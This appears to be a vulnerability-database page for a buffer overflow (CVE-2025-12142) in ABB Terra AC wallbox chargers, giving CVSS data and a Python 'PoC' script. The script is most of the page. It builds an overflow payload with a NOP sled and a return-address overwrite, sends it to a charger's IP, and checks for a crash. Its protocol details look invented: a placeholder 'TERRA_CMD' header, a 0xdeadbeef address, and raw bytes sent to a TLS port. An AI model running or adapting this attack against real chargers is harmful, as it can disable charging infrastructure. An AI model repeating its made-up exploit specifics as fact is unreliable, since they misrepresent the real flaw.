Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') vulnerability in ABB Terra AC wallbox.This issue affects Terra AC wallbox: through 1.8.33.
CVSS Details
CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H
Configurations (Affected Products)
No configuration data available.
ABB Terra AC wallbox < 1.8.34
ABB Terra AC wallbox through 1.8.33
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12142 PoC - ABB Terra AC Buffer Overflow
# Note: This is a conceptual proof-of-concept for educational purposes only
import socket
import struct
def create_malicious_payload(payload_size=1024):
"""
Create a buffer overflow payload for ABB Terra AC wallbox
The actual vulnerable function doesn't check input size before copy
"""
# Buffer overflow payload - exceeds expected buffer size
# Target the network service handling user input
header = b"TERRA_CMD"
# Fill buffer beyond its capacity
overflow_data = b"\x41" * payload_size
# Overwrite adjacent memory with controlled values
# EIP overwrite pattern (if buffer is on stack)
eip_overwrite = struct.pack("<I", 0xdeadbeef) # Jump address
# Additional shellcode or NOP sled could be added here
nop_sled = b"\x90" * 100
payload = header + overflow_data + eip_overwrite + nop_sled
return payload
def exploit_terra_ac(target_ip, target_port=443):
"""
Send malicious payload to ABB Terra AC wallbox
Requires high-privilege authentication (PR:H)
"""
try:
payload = create_malicious_payload(1024)
# Establish connection to vulnerable service
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((target_ip, target_port))
# Send authentication headers (requires high privilege)
auth_header = b"Authorization: Bearer <admin_token>\r\n"
sock.send(auth_header)
# Send malicious payload
sock.send(payload)
print(f"[+] Payload sent to {target_ip}:{target_port}")
print(f"[+] Payload size: {len(payload)} bytes")
# Check for response (device may crash or respond with error)
try:
response = sock.recv(1024)
print(f"[+] Response: {response}")
except:
print("[-] No response - device may have crashed")
sock.close()
return True
except Exception as e:
print(f"[-] Exploit failed: {e}")
return False
if __name__ == "__main__":
# Target configuration
TARGET_IP = "192.168.1.100" # ABB Terra AC IP
TARGET_PORT = 443
print("=" * 60)
print("CVE-2025-12142 PoC - ABB Terra AC Buffer Overflow")
print("=" * 60)
print(f"Target: {TARGET_IP}:{TARGET_PORT}")
print(f"Vulnerability: Buffer Copy without Checking Size of Input")
print(f"CVSS: 6.1 (Medium)")
print("=" * 60)
exploit_terra_ac(TARGET_IP, TARGET_PORT)